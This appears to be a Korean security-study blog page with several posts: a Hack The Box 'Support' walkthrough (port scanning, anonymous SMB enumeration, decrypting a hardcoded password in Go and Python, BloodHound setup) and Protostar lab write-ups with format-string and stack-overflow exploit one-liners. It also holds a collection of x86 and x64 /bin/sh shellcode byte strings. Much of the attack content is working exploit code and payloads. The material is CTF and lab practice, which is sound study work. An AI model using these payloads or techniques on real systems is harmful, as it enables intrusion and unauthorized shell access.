블로그 이미지

wtdsoul

,

'경로 및 정보' 카테고리의 다른 글

Ubuntu 22.04 끊김 현상  (0) 2025.02.01
docker 설치 & wsl 재설치  (0) 2025.01.31
QEMU로 임베디드 Linux 시스템 에뮬 환경 셋팅  (0) 2025.01.28
User After Free 취약점 관련  (0) 2025.01.28
shell code sample  (0) 2025.01.28
블로그 이미지

wtdsoul

,

https://velog.io/@jjs9366/HTB-Support

 

[HTB] Support

Recon Port Scan

velog.io

https://0xmh.tistory.com/57

 

Hack The Box 해킹 모의 침투 #9: Support

안녕하세요~ 오늘은 오랜만에 모의침투 하나 하겠습니다! HTB의 Support이라는 머신을 풀어볼 것이고, 첫 단계에서는 SMB Share에 연결해서, 바이너리를 다운로드하고, 바이너리 속에 숨어 있는 비밀

0xmh.tistory.com

쥬스몬님, 0xMH님 블로그 참고 참고 

AD 환경에서 문제 풀이를 경험삼아 진행하고자 VIP (Month,  20달러) 로 결제 후 Pwnbox로 접근을 시도하였다.
오른쪽 상단 위에 Pwnbox 커넥션이 있으니 참고하여 고고~ 
(문제 난이도 Easy)

문제 진행중에 당황한 부분이 있는데, 노트북 성능이 떨어질 경우 굉장히 느리다는 점이다.
(무조건 성능 좋은 PC나 노트북으로 진행 하십시오.) (그래야 정신 건강에 좋음)

Domain Controller로 보이는 환경 (Port Scan)
nmap -sC -sV -Pn 10.129.160.19(점검 대상)

dig any support.htb 10.129.160.19
support.htb, dc.support.htb 확인

SMB 익명 로그인 가능
crackmapexec smb 10.129.160.19

SMB 공유 디렉토리 목록 (익명 로그인 옵션 -N) 
smbclient -L \\\\10.129.160.19\\

support-tools 확인 

smbclient \\\\10.129.160.19\\support-tools
dir 명령어 

 

.Net Assemly 32bit PE 확인

로컬 환경으로 해당 파일 옮겨서 ExeInfo 정보 확인

Dnspy 사용 시 아래 내용 확인 가능(UserInfo.exe)


아래 소스는 쥬스몬님 블로그 내 GO Lang 참고 참고 

package main

import (
	"encoding/base64"
	"fmt"
)

type Protected struct{}

func (p *Protected) getPassword() string {
	encPassword := "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
	key := []byte("armando")

	decoded, _ := base64.StdEncoding.DecodeString(encPassword)
	decrypted := make([]byte, len(decoded))

	for i := 0; i < len(decoded); i++ {
		decrypted[i] = decoded[i] ^ key[i%len(key)] ^ 223
	}

	return string(decrypted)
}

func main() {
	p := Protected{}
	password := p.getPassword()
	fmt.Println(password)
}

python Code verison

import base64
from itertools import cycle

enc_password = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
key = b"armando"
key2 = 223

res = ''
for e,k in zip(enc_password, cycle(key)):
    res += chr(e ^ k ^ key2)

print(res)

 

이제 슬슬 뭔가 잘 안되기 시작하네.. 이젠 익숙하구만

 

일단 퀵하게 root passwd 변경

sudo passwd root
새로운 패스워드 변경
패스워드 확인 입력(동일)
su root 
변경된 패스워드 입력

root 권한 접근 후 아래 내용 참고하여 정상적으로 실행이 불가한 파일부터 하나씩 설치

# 칼리 리눅스 
apt update -y 
apt install bloodhound -y 
neo4j console 

# http://localhost:7474 방문 후 neo4j:neo4j 를 이용해 로그인. 
# 이후, 비밀번호를 바꿔줌.

# 블러드하운드 실행 후 neo4j:<바뀐-비밀번호>로 로그인 
bloodhound
블로그 이미지

wtdsoul

,

protostar format2

시스템 2025. 1. 29. 00:20

https://m.blog.naver.com/seongjin0526/221330963759

 

exploit-exercises protostar format2

user@protostar:/opt/protostar/bin$ gdb -q format2 Reading symbols from /opt/protostar/bin/format2.....

blog.naver.com

 

그러니깐 이 문제는 fgets의 FSB를 이용해서 원하는 값을 입력할 수 있는 가의 문제이다.

 

(%n의 이해를 묻는 문제 인 것 같다.)

(python -c 'print "\x90" * 4 + "\xe4\x96\x04\x08" + "%08x%08x%08x%32c%n"';cat) | ./format2
(python -c 'print "\xe4\x96\x04\x08"+"%20x"*3+"%n"') | ./format2

%x로 스택 공간을 4byte 씩 이동해서 %n으로 넣는 것이다.

'시스템' 카테고리의 다른 글

protostar heap0  (0) 2025.01.30
protostar format3  (0) 2025.01.30
protostar format1  (0) 2025.01.28
protostar stack5  (0) 2025.01.28
protostar stack2  (0) 2025.01.27
블로그 이미지

wtdsoul

,

'경로 및 정보' 카테고리의 다른 글

docker 설치 & wsl 재설치  (0) 2025.01.31
BloodHound 윈도우 설치 (진행 중)  (0) 2025.01.29
User After Free 취약점 관련  (0) 2025.01.28
shell code sample  (0) 2025.01.28
Protostar - Stack4  (0) 2025.01.28
블로그 이미지

wtdsoul

,
블로그 이미지

wtdsoul

,

protostar format1

시스템 2025. 1. 28. 17:15

https://blog.naver.com/seongjin0526/221330918874

 

exploit-exercises protostar format1

(gdb) disas main Dump of assembler code for function main: 0x0804841c <main+0>:    ...

blog.naver.com

 

위 블로그 내 나온데로 바이트 길이 조절이 필요함 
환경마다 미세하게 길이 값을 다르게 요청해야 정상적으로 결과 값이 print 되는 것 같음

./format1 `python -c 'print "\x38\x96\x04\x08AAAAAA%130$n"'`
./format1 `python -c 'print "\x38\x96\x04\x08AAAA"+"%8x"*127+"%8n"'`

 

Format String기능

%d 정수(10진수 int)
%c 문자(char)
%s 문자열(NULL을 만날 때 까지 출력)
%f 실수(float)
%lf 실수(double)
%p 주소 출력할때 사용, 메모리 크기만큼 자리수가 채워짐
%x 정수(16진수)
%u 부호없는 정수
%ld 부호 있는 long형 int
%n 4바이트 공간에 현재까지 출력된 바이트 수 입력(남는공간은 0으로 채워짐)
%hn 2바이트 공간에 현재까지 출력된 바이트 수 입력
%hhn 1바이트 공간에 현재까지 출력된 바이트 수 입력

'시스템' 카테고리의 다른 글

protostar format3  (0) 2025.01.30
protostar format2  (0) 2025.01.29
protostar stack5  (0) 2025.01.28
protostar stack2  (0) 2025.01.27
Buffer OverFlow 대응방안  (0) 2022.10.24
블로그 이미지

wtdsoul

,
블로그 이미지

wtdsoul

,

protostar stack5

시스템 2025. 1. 28. 15:11

리마인드

다양한 방법을 시도하였으며, 결국 core dump 파일에 있는 0xbffffc40 주소로 ret 값 입력 시 정상적으로 쉘이 떨어진다. 

https://jennana.tistory.com/579

 

[Protostar] Stack5

[Protostar] Stack5 #include #include #include #include int main(int argc, char **argv) { char buffer[64]; gets(buffer); } 이 문제는 쉘코드를 삽입하고 ret를 쉘코드가 있는 위치로 변조하여 해결하는 문제이다. 코드를 보면,

jennana.tistory.com

 

core 덤프 확인을 위해 아래와 같이 설정 

$ cat /proc/sys/kernel/core_pattern
/tmp/core.%s.%e.%p
# cat /proc/sys/fs/suid_dumpable
0
# echo "1" > /proc/sys/fs/suid_dumpable
# cat /proc/sys/fs/suid_dumpable
1
$ ulimit -c unlimited

 

최종 삽입코드 : NOP(16) + 쉘코드(24) + NOP(36) + RET(4) = 80 

(python -c 'print "\x90"*16+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*36+"\x40\xfc\xff\xbf"';cat) | ./stack5

 

추가 참고)

https://noobfrompitt.github.io/protostar-stack5/

 

 

 

 

'시스템' 카테고리의 다른 글

protostar format2  (0) 2025.01.29
protostar format1  (0) 2025.01.28
protostar stack2  (0) 2025.01.27
Buffer OverFlow 대응방안  (0) 2022.10.24
Init 프로세스  (0) 2022.10.23
블로그 이미지

wtdsoul

,

https://orcinus-orca.tistory.com/5

 

내가 쓰려고 적어두는 쉘코드(Shell Code)

직접 쉘코드를 만드는 과정을 겪어보니 쉘코드를 보는 시선이 약간 바뀐 것 같다. 소중한 친구들... 26-byte shell code(x86)_scanf우회 쉘코드 \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\x

orcinus-orca.tistory.com

 

26-byte shell code(x86)_scanf우회 쉘코드

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80


25-byte shell code(x86)

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


26-byte shell code(x86)

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80


41-byte shell code(x86)

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


48-byte shell code(x86)_\x2f없는 쉘코드

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81


23-byte shell code(x64)

\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05


31-byte shell code(x64)

\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05
 
블로그 이미지

wtdsoul

,